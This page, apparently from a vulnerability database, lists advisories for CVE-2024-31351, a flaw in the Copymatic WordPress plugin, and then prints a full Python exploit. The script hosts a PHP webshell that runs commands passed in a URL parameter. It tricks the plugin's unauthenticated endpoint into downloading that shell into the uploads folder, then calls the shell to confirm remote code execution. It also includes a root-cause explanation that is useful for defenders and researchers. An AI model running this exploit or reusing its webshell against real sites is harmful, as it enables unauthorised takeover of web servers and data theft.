| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Copymatic | 25 May 202404:02 | – | githubexploit | |
| WordPress plugin Copymatic 代码问题漏洞 | 17 May 202400:00 | – | cnnvd | |
| CVE-2024-31351 | 17 May 202406:15 | – | cve | |
| CVE-2024-31351 WordPress Copymatic plugin <= 1.6 - Unauthenticated Arbitrary File Upload vulnerability | 17 May 202406:15 | – | cvelist | |
| CVE-2024-31351 | 17 May 202407:16 | – | nvd | |
| CVE-2024-31351 | 17 May 202407:16 | – | osv | |
| WordPress Copymatic – AI Content Writer & Generator Plugin <= 1.6 is vulnerable to Arbitrary File Upload | 14 May 202400:00 | – | patchstack | |
| WordPress Copymatic plugin <= 1.6 - Unauthenticated Arbitrary File Upload vulnerability | 14 May 202413:21 | – | patchstack | |
| PT-2024-23995 · Unknown · Copymatic – Ai Content Writer & Generator | 17 May 202400:00 | – | ptsecurity | |
| CVE-2024-31351 | 5 Feb 202500:28 | – | redhatcve |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Copymatic <= 1.6 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/copymatic/
# Software Link: https://downloads.wordpress.org/plugin/copymatic.1.6.zip
# Version: 1.6 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-31351
"""CVE-2024-31351 — Copymatic <= 1.6 — Unauthenticated Arbitrary File Upload -> RCE
Blackbox HTTP exploit against a real WordPress + Copymatic install.
Root cause (copymatic/endpoint.php):
- endpoint.php is a standalone, unauthenticated entry point. It only checks that the
server-side option `copymatic_website_key` is set (line 11-12); the request carries no
secret. Any anonymous POST is accepted once the plugin has been configured.
- `featured_image` (attacker JSON) is fetched with file_get_contents() and written with
file_put_contents() to the uploads dir using basename($image_url) as the filename, with
NO extension/MIME validation (line 36-45). A `.php` URL yields a webshell on disk.
Technique: we host the PHP webshell on a throwaway HTTP server, tell Copymatic to "download"
it as the post's featured image, then execute it from wp-content/uploads.
Usage:
python3 CVE-2024-31351_copymatic.py --target http://localhost:8090 --lhost host.docker.internal
( --lhost is the address the TARGET uses to reach THIS machine; inside Docker Desktop that
is host.docker.internal. --lport defaults to 8899. )
"""
import argparse, json, threading, http.server, socketserver, time, sys, datetime
import requests
requests.packages.urllib3.disable_warnings()
TOKEN = "CPMTC_PWNED_31351"
SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
"echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
class PayloadHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# serve the raw PHP source as text so the attacker server does NOT execute it
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SHELL)))
self.end_headers()
self.wfile.write(SHELL)
def log_message(self, *a): pass
def start_server(port):
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
return httpd
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="WP base URL, e.g. http://localhost:8090")
ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
ap.add_argument("--lport", type=int, default=8899)
ap.add_argument("--shell-name", default="cpmtc_shell.php")
ap.add_argument("--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
print(f"[*] Target: {base}")
print(f"[*] Starting payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
httpd = start_server(args.lport)
time.sleep(0.5)
image_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
endpoint = base + "/wp-content/plugins/copymatic/endpoint.php"
body = {"title": "lab", "content": "lab-body", "featured_image": image_url}
print(f"[*] POST {endpoint}")
print(f"[*] featured_image = {image_url}")
r = requests.post(endpoint, data=json.dumps(body),
headers={"Content-Type": "application/json"}, timeout=30, verify=False)
print(f"[*] Response: HTTP {r.status_code} :: {r.text[:200]}")
# webshell lands in uploads/<YYYY>/<MM>/<name>
now = datetime.datetime.now(datetime.timezone.utc)
candidates = [
f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
f"/wp-content/uploads/{args.shell_name}",
]
print("[*] Verifying webshell (blackbox RCE check)...")
for path in candidates:
url = base + path
try:
rr = requests.get(url, params={"c": args.cmd}, timeout=15, verify=False)
except Exception as e:
print(f" {path} -> error {e}"); continue
if TOKEN in rr.text:
print(f"\n[+] RCE CONFIRMED — webshell at {path}")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
httpd.shutdown()
return 0
else:
print(f" {path} -> HTTP {rr.status_code} (no marker)")
print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
httpd.shutdown()
return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation